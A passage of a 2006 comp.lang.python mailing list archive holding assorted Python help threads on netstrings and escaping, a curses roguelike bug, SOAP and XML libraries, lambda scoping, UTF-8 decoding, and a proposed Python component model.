Craig-Wood) Date: Fri, 13 Oct 2006 03:30:10 -0500 Subject: Sending binary pickled data through TCP References: <7xfyds2703.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > As for the network representation, DJB proposes this format: > http://cr.yp.to/proto/netstrings.txt Netstrings are cool and you'll find some python implementations if you search. But it is basically "number:string,", ie "12:hello world!," Or you could use escaping which is what I usually do. This has the advantage that you don't need to know how long the data is in advance. Eg, these are from a scheme which uses \t to seperate arguments and \r or \n to seperate transactions. These are then escaped in the actual data using these functions def escape(s): """This escapes the string passed in, changing CR, LF, TAB and \\ into \\r, \\n, \\t and \\\\""" s = s.replace("\\", "\\\\") s = s.replace("\r", "\\r") s = s.replace("\n", "\\n") s = s.replace("\t", "\\t") return s def unescape(s, _unescape_mapping = string.maketrans('tnr','\t\n\r'), _unescape_re = re.compile(r'\\([(rnt\\)])')): """This unescapes the string passed in, changing \\r, \\n, \\t and \\any_char into CR, LF, TAB and any_char""" def _translate(m): return m.group(1).translate(_unescape_mapping) return _unescape_re.sub(_translate, s) (These functions have been through the optimisation mill which is why they may not look immediately like how you might first think of writing them!) -- Nick Craig-Wood -- http://www.craig-wood.com/nick From eurleif at ecritters.biz Mon Oct 23 19:45:32 2006 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Mon, 23 Oct 2006 19:45:32 -0400 Subject: How to get each pixel value from a picture file! In-Reply-To: <1161645289.453600.107140@h48g2000cwc.googlegroups.com> References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com> <1161643563.111993.109480@b28g2000cwb.googlegroups.com> <1161645289.453600.107140@h48g2000cwc.googlegroups.com> Message-ID: <453d5360$0$13811$4d3efbfe@news.sover.net> Lucas wrote: > 1)I just copy the tutorial to run "print pix[44,55]". I really dont > know why they wrote that?! What tutorial? Where does it say that? From alistair.king at helsinki.fi Wed Oct 25 05:55:34 2006 From: alistair.king at helsinki.fi (Alistair King) Date: Wed, 25 Oct 2006 12:55:34 +0300 Subject: dict problem Message-ID: <453F3496.2070707@helsinki.fi> Jon Clements wrote: > > Alistair King wrote: > > > > > >> >> Hi, >> >> >> >> ive been trying to update a dictionary containing a molecular formula, but seem to be getting this error: >> >> >> >> >> >> Traceback (most recent call last): >> >> File "DS1excessH2O.py", line 242, in ? >> >> updateDS1v(FCas, C, XDS) >> >> NameError: name 'C' is not defined >> >> >> >> dictionary is: >> >> >> >> DS1v = {'C': 6, 'H': 10, 'O': 5} >> >> >> >> >> >> >> >> #'Fxas' in each case will be integers but 'atoms' should be a float >> >> >> >> def updateDS1v(Fxas, x, XDS): >> >> while Fxas != 0: >> >> atoms = DS1v.get('x') + Fxas*XDS >> >> DS1v[x] = atoms >> >> >> >> updateDS1v(FCas, C, XDS) >> >> updateDS1v(FHas, H, XDS) >> >> updateDS1v(FOas, O, XDS) >> >> updateDS1v(FNas, N, XDS) >> >> updateDS1v(FSas, S, XDS) >> >> updateDS1v(FClas, Cl, XDS) >> >> updateDS1v(FBras, Br, XDS) >> >> updateDS1v(FZnas, Zn, XDS) >> >> print DS1v >> >> >> >> I know there is probably a simple solution but im quite new to python and am lost? >> >> >> >> >> > > > > I strongly suggest reading through the tutorial. > > > > I don't think there's enough code here for anyone to check it properly. > > For instance, it looks like FCas exists somewhere as it's barfing on > > trying to find C. Where is XDS defined etc...? > > > > I can't see updateDS1v() ever completing: any Fxas passed in not equal > > to 0 will repeat indefinately. > > > > I'm guessing unless C is meant to be a variable, you mean to pass in > > the string 'C'. > > > > A dictionary already has it's own update method.... > > > > Perhaps if you explain what you're trying to do in plain English, we > > could give you some pointers. > > > > Jon. > > > > > sorry, this has been a little rushed XDS is defined before the function and is a float. the Fxas values are also and they are integers now ive tried def updateDS1v(Fxas, x, XDS): while Fxas != 0: atoms = DS1v.get(x) + Fxas*XDS DS1v['x'] = atoms updateDS1v(FCas, 'C', XDS) updateDS1v(FHas, H, XDS) updateDS1v(FOas, O, XDS) updateDS1v(FNas, N, XDS) updateDS1v(FSas, S, XDS) updateDS1v(FClas, Cl, XDS) updateDS1v(FBras, Br, XDS) updateDS1v(FZnas, Zn, XDS) print DS1v from this i get the error: Traceback (most recent call last): File "DS1excessH2O.py", line 242, in ? updateDS1v(FCas, 'C', XDS) File "DS1excessH2O.py", line 239, in updateDS1v atoms = DS1v.get(x) + Fxas*XDS TypeError: unsupported operand type(s) for +: 'int' and 'str' with single quotes (FCas, 'C', XDS) to retrieve the value for that key from the dictionary and then create the new value and replace the old value. a -- Dr. Alistair King Research Chemist, Laboratory of Organic Chemistry, Department of Chemistry, Faculty of Science P.O. Box 55 (A.I. Virtasen aukio 1) FIN-00014 University of Helsinki Tel. +358 9 191 50392, Mobile +358 (0)50 5279446 Fax +358 9 191 50366 From daigno at gmail.com Thu Oct 26 01:17:06 2006 From: daigno at gmail.com (=?ISO-8859-1?Q?=C9ric_Daigneault?=) Date: Thu, 26 Oct 2006 01:17:06 -0400 Subject: What's the best IDE? Message-ID: <454044D2.4070403@gmail.com> /What's your favorite IDE?/ Eclipse with pydev and extentions, and subclipse for subversion / What do you like about it? /When I started Python I tried a whole bunch of IDEs, Komodo, Idle, active state but got tired by having to learn to navigate through a new environment, so I settled for PyDev and Eclipse./ /Cause I know it well (used it for java since it`s beta pre release baby versions) and can use the same environment for my C++ (CDT), Java, python (Now that for me is a major +)... I oftenly use python as a glue for different small apps and I do like the idea of staying in the same environment for all of them, feels like good'ol slippers. Plus since I use SCons for building most my C++ apps it's just dandy. This being said it is not great, the completion sometimes works in mysterious ways, The pydev Extentions nag screen can be annoying (note to self : gotta buy the thing...), some of the automations can be weirdly unproductive and there are probably better python dedicated environment out there but I like it, it suits my needs. However for small hit and run in the code there is nothing like (ViM, Idle, notepad, JPad ) as it is very oftenly over with before the splash screen of ever left the screen. /It would be fine for a begginer, right? /If you know Eclipse already then it is a good bet, If not but want an IDE that can be a good swiss army knife *AND* have time to space to learn the environment then it is an excellent choice. But sincerely, I learned python with Idle and the interactive shell, I did not feel I coule really appreciate what An IDE had to offer me before I really knew what the language could do for me, how it did it and why I would do it with it. Enough to have to learn a language to be bothered to learn an environment, I mean unless you actually like the exilierating feeling of being a newbie all across the board ;-). However with Python after you have read the quick card (http://www.limsi.fr/Individu/pointal/python/pqrc/) and poke it with the interactive shell for a couple of hours you'll be (almost) as expert as all the regulars here :-P... ?ric :D. From raNOsky at deveSPAMler.com Wed Oct 4 09:08:23 2006 From: raNOsky at deveSPAMler.com (Giovanni Bajo) Date: Wed, 4 Oct 2006 15:08:23 +0200 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> Message-ID: A.M. Kuchling wrote: >> I am seriously concerned >> that the PSF infrastructure committee EVER considered non open-source >> applications for this. In fact, I thought that was an implicit >> requirement in the selection. > > Being open source wasn't a requirement; which is, indeed, shocking and amazing. > minimal requirements were > specified in the initial message requesting trackers > (http://wiki.python.org/moin/OriginalCallForTrackers). Where does it mention that only trackers which have at least an existing installation and a group of people for maintenance will be considered? It could easily be assumed that PSF had already enough bandwidth, server, manpower to handle any bugtracker installation. In fact, are you absolutely positive that you need so much effort to maintain an existing bugtracker installation? I know for sure that GCC's Bugzilla installation is pretty much on its own; Daniel Berlin does some maintainance every once in a while (upgrading when new versions are out, applying or writing some patches for most requested features in the community, or sutff like that), but it's surely not his job, not even part-time. -- Giovanni Bajo From waldemar.osuch at gmail.com Tue Oct 24 20:00:39 2006 From: waldemar.osuch at gmail.com (Waldemar Osuch) Date: 24 Oct 2006 17:00:39 -0700 Subject: The status of Python and SOAP? References: <1161715924.235584.30790@m7g2000cwm.googlegroups.com> Message-ID: <1161734439.447897.223200@m73g2000cwd.googlegroups.com> Thomas W wrote: > I'm going to give a presentation of python to my co-workers at a very > pro-microsoft workplace. Almost everything we need is currently > supported by the standard distro + the win32all package, but we also > need support for SOAP. I've tried SOAPpy ( didn't get it to compile, > needed a library from a dead site ) and a few others, but I cannot help > the feeling that SOAP isn't very high on the list of priorities in the > python community. I hope I'm wrong. > > In short: What library is currently the best alternative to implement > stable, efficient SOAP-webservices, both client and servers? What > library is being actively maintained? > > Any hint or help would be great. You may have tried it already but judging from mailing list and SVN commits the most actively maintained is ZSI from http://pywebsvcs.sourceforge.net/ Waldemar From larry.bates at websafe.com Fri Oct 6 15:12:51 2006 From: larry.bates at websafe.com (Larry Bates) Date: Fri, 06 Oct 2006 14:12:51 -0500 Subject: Need array help In-Reply-To: References: <5e-dnRqTsKLmBLvYnZ2dnUVZ_tOdnZ2d@comcast.com> Message-ID: Robert Kern wrote: > Larry Bates wrote: > >> If you want to >> do vector math or matrix-type calculations look at the >> array module. > > The array module in the standard library does not provide such > capabilities. If you need them, look at numpy. > > http://numpy.scipy.org > I stand corrected. -Larry From Eric_Dexter at msn.com Wed Oct 11 21:49:40 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 11 Oct 2006 18:49:40 -0700 Subject: How to be a good programmers? In-Reply-To: <1160588630.961337.213260@m7g2000cwm.googlegroups.com> References: <1160588630.961337.213260@m7g2000cwm.googlegroups.com> Message-ID: <1160617780.299662.110480@i3g2000cwc.googlegroups.com> rijamoria at gmail.com wrote: > I just started to learn python programming because I need to be in the > group when google come in Madagascar, So I want to know, what kind of > python programming I have to start to learn? Zope?...? > Sorry for My english! You can writ me on rijamoria at gmail.com. > thanks! Let me know and I can get you some expierence using some of pythons functions that you can build your resume with. My goal is to be featured in csound journal or at least www.csounds.com https://sourceforge.net/project/showfiles.php?group_id=156455 http://www.dexrow.com "He is either a satinist or some kind of programmer with that snake book" quote (C) 2006 From bignose+hates-spam at benfinney.id.au Mon Oct 30 19:00:52 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Tue, 31 Oct 2006 11:00:52 +1100 Subject: How can I import a script with an arbitrary name ? References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com> Message-ID: <87mz7d8ibv.fsf@benfinney.id.au> leonel.gayard at gmail.com writes: > So, I have a module with an arbitrary file name and I want to load it, > and later access its function definitions. > How can I do this ? In my example, the last line will obviously not > work. If you want a solution that gives you an actual module object, here's what I use: def make_module_from_file(module_name, file_name): """ Make a new module object from the code in specified file """ from types import ModuleType module = ModuleType(module_name) module_file = open(file_name, 'r') exec module_file in module.__dict__ return module -- \ "A celebrity is one who is known by many people he is glad he | `\ doesn't know." -- Henry L. Mencken | _o__) | Ben Finney From istvan.albert at gmail.com Fri Oct 6 12:26:23 2006 From: istvan.albert at gmail.com (Istvan Albert) Date: 6 Oct 2006 09:26:23 -0700 Subject: switching to numpy and failing, a user story References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> <1159984398.088012.209640@k70g2000cwa.googlegroups.com> <1160142732.752533.266840@m7g2000cwm.googlegroups.com> Message-ID: <1160151980.338496.225670@m7g2000cwm.googlegroups.com> sturlamolden wrote: > Those involved in the development of NumPy must receive some > compensation. Financial support to NumPy also ensure that the > developmentcan continue. I for one does not want to see NumPy as Then charge for NumPy ... or write a book *besides* the documentation. One in which you make good use of NumPy and demonstrate the actual problem solving process. Charging for docs is just shooting yourself in the foot. Plus that so called documention seems very unwieldy and unattractive, long winded text, you can't search it, google won't index it -> people won't find what they are looking for. I. From operagasten at gmail.com Sun Oct 8 06:21:15 2006 From: operagasten at gmail.com (Gasten) Date: 8 Oct 2006 03:21:15 -0700 Subject: A curses-game I need help with. Message-ID: <1160302875.055414.148350@m7g2000cwm.googlegroups.com> Hello. The last weeks I've been coding a roguelike (you know, like nethack) in python using the nCurses library. Some week ago I ran into a problem: When I made the object for messagebar-output, I found a bug that I can't figure out (believe me; I've tried everything and asked for help several times on the IRC-channel). The updateMsg() and iMsg() takes a list of message-lines as argument (or process a string to a list), and it'll output each of them to the messagebar, output a sign that say: More, and wait for the user to hit space, and then output another line. The last line will just be outputed, without waiting for the user to hit space. Thou, that doesn't work. It doesn't output the last line. Not when there are more than one line, and not when there is just that one line. I've tried calling noutrefresh() and doupdate() instead of just refresh(), I've rebuilt the structure of the methods, and done all sorts of things. By writing debug-messages to a file, I've understood that the last addstr() DO output the line, but the refresh isn't working. Or something else isn't working. Can you help? I'll just append all my code here (for anyone to test), so you who doesn't want to read this humble beginners code can skip to another message. Thank you for your time. (So far I've understood, is that iMsg() and updateMsg() is wrong. Line 71 and 92.) try: import curses except ImportError: print "Missing the Curses-library." print "Please install the curses-library correctly." SystemExit #--------------------------------------------------------------- class Game: """The Game-object. Controls the windows, global settings and so on.""" def __init__(self): self.mainwin = curses.initscr() ## Some basic settings curses.noecho() curses.cbreak() self.mainwin.keypad(1) curses.curs_set(0) self.msg = Msg() self.msg.msg(["Welcome to The Game! Lets watch another fearless samurai", "get beaten bloody in the arena!"]) self.mainwin.addstr(3,15, '+' + '-' * 62 + '+') self.mainwin.addstr(22,15, '+' + '-' * 62 + '+') self.mainwin.vline(4,15, '|', 18) self.mainwin.vline(4,78, '|', 18) movedir = { 'up': {'x':0, 'y':-1}, 'down': {'x':0, 'y':+1}, 'right': {'x':+1, 'y':0}, 'left': {'x':-1, 'y':0}, 'downright': {'x':+1, 'y':+1}, 'upright': {'x':+1, 'y':-1}, 'downleft': {'x':-1, 'y':+1}, 'upleft': {'x':-1, 'y':-1} } walls = ( ord('|'), ord('+'), ord('-') ) #--------------------------------------------------------------- class Msg: """The messagehandeling and -bar system.""" def __init__(self): self.msgs = [] def printMore(self): # Print the little #More#-sign game.mainwin.addch(1, 71, curses.ACS_BLOCK, curses.A_REVERSE) game.mainwin.addstr(1, 72, "More", curses.A_REVERSE) game.mainwin.addch(1, 76, curses.ACS_BLOCK, curses.A_REVERSE) def msg(self, msg): if isinstance(msg, str): self.msgs.append(msg) else: self.msgs = self.msgs + msg def ereasMsg(self): for count in range(0,2): game.mainwin.move(count,0) game.mainwin.clrtoeol() def updateMsg(self): count = len(self.msgs) for msg in self.msgs: # Print one msg after another game.mainwin.addstr(0,0, msg) # Print the actual message if count > 1: # If there are two or more laft, print a #More#-sign. count -= 1 self.printMore() game.mainwin.refresh() while 1: next = game.mainwin.getch() if next == ord(' '): self.ereasMsg() break else: continue else: game.mainwin.refresh() self.msgs = [] # When done, kill all messages return True def iMsg(self, msg): """Same as msg(), but the screen will refresh instantly. 'i' is standing for Interface or Instant message.""" if isinstance(msg, str): msg = [msg] # List'it! count = len(msg) for item in msg: if count > 1: count -= 1 self.printMore() game.mainwin.addstr(0,0, item) game.mainwin.refresh() while 1: next = game.mainwin.getch() if next == ord(' '): self.ereasMsg() break else: continue else: game.mainwin.addstr(0,0, item) return #--------------------------------------------------------------- class Samurai: """This is the object of the mighty Samurai. Phe4r him. He can move. He can spawn. He will be able to kick som robo butt too, but not now.""" def __init__(self): ## Configuring game values. self.loc = { "x": 20, "y": 8 } self.samuraichar = ord("X") # spawn game.mainwin.addch(self.loc['y'], self.loc['x'], self.samuraichar) def move(self, dir, speed=1): # Move in dir speed number of times. for count in range(1, speed + 1): newX = self.loc['x'] + game.movedir[dir]['x'] newY = self.loc['y'] + game.movedir[dir]['y'] # Checks that all is clear. if game.mainwin.inch(newY, newX) not in game.walls: # Delete old game.mainwin.addch(self.loc['y'], self.loc['x'], ' ') self.loc['x'] = newX self.loc['y'] = newY # Create a new character. game.mainwin.addch(self.loc['y'], self.loc['x'], self.samuraichar) else: game.msg.iMsg("You can't go there.") return #--------------------------------------------------------------- def main(): global game, player game = Game() player = Samurai() running = True while running: key_command = game.mainwin.getch() if key_command == ord('8'): ## Movement-commands player.move('up') elif key_command == ord('2'): player.move('down') elif key_command == ord('4'): player.move('left') elif key_command == ord('6'): player.move('right') elif key_command == ord('7'): player.move('upleft') elif key_command == ord('9'): player.move('upright') elif key_command == ord('1'): player.move('downleft') elif key_command == ord('3'): player.move('downright') elif key_command == ord('Q'): ## Exit break elif key_command == ord('5'): ## Wait pass elif key_command == ord('x'): ## print location game.msg.iMsg("X: " + str(player.loc['x']) + ", Y: " + str(player.loc['y'])) elif key_command == ord('z'): strlist = "" for i in game.walls: strlist = strlist + str(i) + " " game.msg.iMsg(strlist) elif key_command == ord('c'): for count in range(0,2): game.mainwin.move(count,0) game.mainwin.clrtoeol() else: game.msg.iMsg("That is not a valid command.") if len(game.msg.msgs) == 0: # If there are any msgs. game.mainwin.refresh() else: game.msg.updateMsg() game.msg.ereasMsg() if __name__ == "__main__": try: import psyco psyco.full() except ImportError: # Don't use something that doesn't exists. pass main() curses.nocbreak(); game.mainwin.keypad(0); curses.echo() curses.endwin() (The code is GPL'ed, Martin Ahnel?v 06) From steve at holdenweb.com Mon Oct 9 05:17:28 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 09 Oct 2006 10:17:28 +0100 Subject: Why do this? In-Reply-To: References: Message-ID: Fredrik Lundh wrote: > Lawrence D'Oliveiro wrote: > > >>Secondly, it's less convenient for cases where a dynamic query is being >>built. I previously gave the SQLStringList example. If that's not enough, >>here's another (simple) one: >> >>Conditions = [] >>if Name != None : >> Conditions.append("name = %s" % SQLString(Name)) >>#end if >>if Address != None : >> Conditions.append("address = %s" % SQLString(Address)) >>#end if >>if PhoneNr != None : >> Conditions.append("phone_nr = %s" % SQLString(PhoneNr)) >>#end if >>Query = "select * from table" >>if len(Conditions) != 0 : >> Query += " where " + " and ".join(Conditions) >>#end if > > > now that's some remarkably ugly Python code. it's well-known that people can > write Fortran in all languages, but writing Visual Basic in Python? (shudder) [...] > this is Python, after all, and as we all know, "the joy of coding Python should be > in seeing short, concise, readable classes that express a lot of action in a small > amount of clear code - not in reams of trivial code that bores the reader to death". > I especially liked the #end if comments after the single guarded lines. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From oliver.andrich at gmail.com Mon Oct 2 06:28:02 2006 From: oliver.andrich at gmail.com (Oliver Andrich) Date: Mon, 2 Oct 2006 12:28:02 +0200 Subject: PyXML not supported, what to use next? In-Reply-To: <4o814eFdebrhU1@individual.net> References: <4o814eFdebrhU1@individual.net> Message-ID: <6f7b52d0610020328v3d8b4544m76a7bcc40972da79@mail.gmail.com> Hi Paul On 9/30/06, Paul Watson wrote: > > It would appear that xml.dom.minidom or xml.sax.* might be the best > thing to use since PyXML is going without support. Best of all it is > included in the base Python distribution, so no addition hunting required. > > Is this right thinking? Is there a better solution? > I am using lxml as my standard tool of choice. It includes the easy interface of ElementTree and the speed and power of being backed by libxml2 and libxslt. But this mainly cause I have to deal with large XMLs in a fast way. Otherwise pure ElementTree is a very, very nice choice. And it is also our "backup" choice, when lxml is not available on a system. Best regards, Oliver -- Oliver Andrich --- http://roughbook.de/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From ilias at lazaridis.com Sat Oct 7 19:11:24 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 7 Oct 2006 16:11:24 -0700 Subject: IDLE - Customizing output format In-Reply-To: References: <1159126159.462170.70420@d34g2000cwd.googlegroups.com> <1159130442.913233.276910@k70g2000cwa.googlegroups.com> <1159295354.259058.52990@i42g2000cwa.googlegroups.com> <1159360188.483270.257080@k70g2000cwa.googlegroups.com> Message-ID: <1160262684.485621.28920@m7g2000cwm.googlegroups.com> Gabriel Genellina wrote: > At Wednesday 27/9/2006 09:29, Ilias Lazaridis wrote: > > >import sys > >def f(obj): > > if obj: > > print '::: ' + repr(obj) > >sys.displayhook = f > > Have you tried that? You have to filter out None, not *any* False value. > > > > And notice that this replaces the output of *evaluated* expressions, > > > not any print statement executed inside your code. > > > >Any simple solution for this? > > Displaying things interactively is not the same as executing a print > statement inside the code - I feel right they are not considered the > same thing. print output goes to sys.stdout, you could replace it. this is nicely described here: http://www.voidspace.org.uk/python/weblog/arch_d7_2006_01_21.shtml#e192 do i need the "getattr" and "writeline" methods in MyStdOut? . -- http://case.lazaridis.com/ticket/10 From mensanator at aol.com Sat Oct 28 04:51:37 2006 From: mensanator at aol.com (mensanator at aol.com) Date: 28 Oct 2006 01:51:37 -0700 Subject: Need help (Basic python)...what did I do wrong? In-Reply-To: <1162024619.913197.302700@m73g2000cwd.googlegroups.com> References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com> Message-ID: <1162025497.900277.19540@m73g2000cwd.googlegroups.com> frankie_85 wrote: > Hi everyone, > > I just made a simple code which is part of my assignment but I can't > figure it out what's wrong with it. (always give me error messages) > > What the code basically does is: > > a function that takes one floating point number x as its argument and > returns (the square root of the absolute value of x) plus (5 times x > cubed). > > and read 5 floating point values from the user into a list then apply > the function to each value in the list and print the results in reverse > order. > > -------------------------------------------------------------------------------------------- > import math > > print "Enter 5 values:" > a = float(raw_input()) > b = float(raw_input()) > c = float(raw_input()) > d = float(raw_input()) > e = float(raw_input()) > > def funct(a, b, c, d, e): > a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3))) > b_2 = math.sqrt(math.fabs(b)) + 5((math.pow(b,3))) > c_3 = math.sqrt(math.fabs(c)) + 5((math.pow(c,3))) > d_4 = math.sqrt(math.fabs(d)) + 5((math.pow(d,3))) > e_5 = math.sqrt(math.fabs(e)) + 5((math.pow(e,3))) > return a_1 > return b_2 > return c_3 > return d_4 > return e_5 > print e_5, d_4, c_3, b_2, a_1 > > > > funct(a, b, c, d, e) > > > -------------------------------------------------------------------------------------------- > > it always gives me these error messages: > > Traceback (most recent call last): > File "/Users/x/Documents/test3.py", line 25, in > funct(a, b, c, d, e) > File "/Users/x/Documents/test3.py", line 11, in funct > a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3))) > TypeError: 'int' object is not callable > > What did I do wrong? You forgot the *. > Please help me > > Thanks in advance From horpner at yahoo.com Thu Oct 19 11:57:15 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 19 Oct 2006 17:57:15 +0200 Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ) References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com> <1161252764.244873.134740@f16g2000cwb.googlegroups.com> <2m8k04-gfe.ln1@nb2.stroeder.com> Message-ID: On 2006-10-19, Michael Str?der wrote: > NoelByron at gmx.net wrote: >> >> print 'K\xc3\xb6ni'.decode('utf-8') >> >> and this line raised a UnicodeDecode exception. > > Works for me. > > Note that 'K\xc3\xb6ni'.decode('utf-8') returns a Unicode > object. With print this is implicitly converted to string. The > char set used depends on your console No, the setting of the console encoding (sys.stdout.encoding) is ignored. It's a good thing, too, since it's pretty flaky. It uses sys.getdefaultencoding(), which is always 'ascii' as far as I know. -- Neil Cerutti From eldiener_no_spam_here at earthlink.net Tue Oct 10 08:58:22 2006 From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam) Date: Tue, 10 Oct 2006 12:58:22 GMT Subject: Python component model In-Reply-To: <4p14h4Fgk9jaU1@uni-berlin.de> References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> <7xlknotwuy.fsf@ruckus.brouhaha.com> <4p14h4Fgk9jaU1@uni-berlin.de> Message-ID: Diez B. Roggisch wrote: > Paul Rubin schrieb: >> "Nick Vatamaniuc" writes: >>> Python does not _need_ a component model just as you don't _need_ a RAD >>> IDE tool to write Python code. The reason for having a component model >>> or a RAD IDE tool is to avoid writing a lot of boiler plate code. >> >> It's also so that applications written in differing languages can call >> each other. > > Nope. Things like CORBA and COM do have that property, but e.g. the Java > beans spec has only a meaning inside the VM. Not sure about .NET, but I > can imagine there it's the same thing. > > All the languages he mentioned are statically typed, or the component > models themselves are. So the component model is basically needed (as > others also mentioned) to glue things together, to dynamize that - > whereas python is dynamic on the first hand, and actually lacks static > typing to infer component properties... While I understand dynamic typing, I still think it is possible to create attributes in a Python component model which could tell a RAD tool what type the attribute will encompass for the purpose of properties and events. Obviously a "name, type" tuple, among other possible information would have to be used. But given Python's amazingly flexible type and introspection system, this should be possible. Of course I am not trying to change the nature of normal Python attributes per se at all, and one of the most important things in a property-method-event component model is to be able to specify properties that are distinct from just normal object data members. So one of the most important things in a Python component model would be the ability to tag component properties as totally distinct from normal Python class attributes or property attributes. Given that Python already has new-style class properties, maybe another name for the component properties I envision is needed to avoid confusion. From jwashin at nospam.hill-street.net Mon Oct 9 10:33:35 2006 From: jwashin at nospam.hill-street.net (Jim Washington) Date: Mon, 09 Oct 2006 14:33:35 GMT Subject: ANN: SimpleJSONRPCServer References: Message-ID: <35tWg.1906$ji5.502@trnddc04> On Sun, 08 Oct 2006 10:16:05 +1300, aum wrote: > I've built a module called SimpleJSONRPCServer, which is essentially the > same as the familiar python library module SimpleXMLRPCServer, except that > it uses the JSON-RPC protocol. Cool. There is a new JSON-RPC 1.1 specification, currently in Working Draft status. It enhances the 1.0 specification with improved definitions. It also allows nice things like named parameters. It has potential to make JSON-RPC more pythonic to use. http://www.raboof.com/json-rpc/JSON-RPC-1-1-WD-20060807.html Discussion about the draft is at json-rpc at yahoogroups.com -Jim Washington From bearophileHUGS at lycos.com Wed Oct 4 13:59:55 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 4 Oct 2006 10:59:55 -0700 Subject: PEP 358 and operations on bytes In-Reply-To: <7xfye4f4nk.fsf@ruckus.brouhaha.com> References: <1159931141.342507.108260@e3g2000cwe.googlegroups.com> <1159974809.492898.253490@i42g2000cwa.googlegroups.com> <7xejtojdys.fsf@ruckus.brouhaha.com> <1159976793.484514.277050@h48g2000cwc.googlegroups.com> <7xfye4f4nk.fsf@ruckus.brouhaha.com> Message-ID: <1159984794.841880.247100@k70g2000cwa.googlegroups.com> Paul Rubin: > I think the underlying regexp C library isn't written that way. I can > see reasons to want a higher-level regexp library that works on > arbitrary sequences, calling a user-supplied function to classify > sequence elements, the way current regexps use the character code to > classify characters. To begin with something concrete some days ago I was starting to write a simple RE engine that works on lists/tuples/arrays and uses Psyco in a good way (but then I have stopped developing it). Once and only once some good uses has being found, later someone can translate the code to C, if necessary. It seems an interesting thing, but can you find some uses for it? Bye, bearophile From fredrik at pythonware.com Fri Oct 13 14:02:06 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 13 Oct 2006 20:02:06 +0200 Subject: Sending binary pickled data through TCP In-Reply-To: <452FD3B1.9060306@ilm.com> References: <452EEEF1.6030606@ilm.com> <452FD3B1.9060306@ilm.com> Message-ID: David Hirschfield wrote: > Are there any existing python modules that do the equivalent of pickling > on arbitrary python data, but do it a lot faster? I wasn't aware of any > that are as easy to use as pickle, or don't require implementing them > myself, which is not something I have time for. cPickle is faster than pickle. marshal is faster than cPickle, but only supports certain code object types. From martin at v.loewis.de Tue Oct 24 13:24:25 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Oct 2006 19:24:25 +0200 Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64 In-Reply-To: References: <45386B4C.4020001@v.loewis.de> <453d4821$0$22566$9b622d9e@news.freenet.de> <453DA645.2090009@v.loewis.de> Message-ID: <453E4C49.4000401@v.loewis.de> Christopher Taylor schrieb: >> Ah, I see. The reason is pretty simple: Makefile.pre.in has >> >> LIBDIR= $(exec_prefix)/lib >> >> so it seems that LIBDIR isn't configurable. > > So you would agree that this is a bug? I personally think this is a bug in AMD64-Linux. Libraries should be stored in /usr/lib, binaries in /usr/bin, etc. If they need simultaneous installation of 32-bit binaries for compatibility, they should store them in architecture-specific directories. > I'll post on Python-Dev for > further advice. I'd like to fix this for the x86_64 community. The x86_64 community has been using Python for a while, and apparently has solved this problem already. You should try to find out how they did it. Regards, Martin From hanumizzle at gmail.com Fri Oct 6 02:32:50 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 02:32:50 -0400 Subject: help on pickle tool In-Reply-To: <4525F78D.5010200@pythonware.com> References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160112357.891308.200020@i42g2000cwa.googlegroups.com> <1160114085.944898.224340@k70g2000cwa.googlegroups.com> <1160115558.554509.292870@c28g2000cwb.googlegroups.com> <4525F78D.5010200@pythonware.com> Message-ID: <463ff4860610052332t337ad8ddi26ea1edeb7c124ad@mail.gmail.com> On 10/6/06, Fredrik Lundh wrote: > MonkeeSage wrote: > > > > YAML is a little more complex > > a little? when did you last look at the spec? > > > and a little more mature. > > than JavaScript's expression syntax? are you sure you're not confusing > libraries with standards here? (has anyone even managed to write a YAML > library that's small and simple enough to be "obviously correct"?) Tell. I'm interested in knowing. -- Theerasak From fredrik at pythonware.com Mon Oct 9 03:52:21 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 9 Oct 2006 09:52:21 +0200 Subject: unexpected behaviour of lambda expression References: <1160379765.723206.33640@i3g2000cwc.googlegroups.com> Message-ID: leonhard.vogt at gmx.ch wrote: > Please consider that example: > Python 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)] > on win32 > Type "help", "copyright", "credits" or "license" for more information. >>>> s = 'foo' >>>> f = lambda x: s >>>> f(None) > 'foo' >>>> s = 'bar' >>>> f(None) > 'bar' >>>> del(s) >>>> f(None) > Traceback (most recent call last): > File "", line 1, in ? > File "", line 1, in > NameError: global name 's' is not defined > > It seems to me, that f is referencing the name s instead of the string > object bound to it that's how lexical scoping works, of course. if you want to bind to the object instead of the name, use explicit binding: f = lambda x, s=s: s From f.braennstroem at gmx.de Fri Oct 13 05:10:43 2006 From: f.braennstroem at gmx.de (Fabian Braennstroem) Date: Fri, 13 Oct 2006 11:10:43 +0200 Subject: Adding Worksheets to an Excel Workbook References: <78b3a9580610111719j4fea5802jd2e581ad88988682@mail.gmail.com> Message-ID: Hi 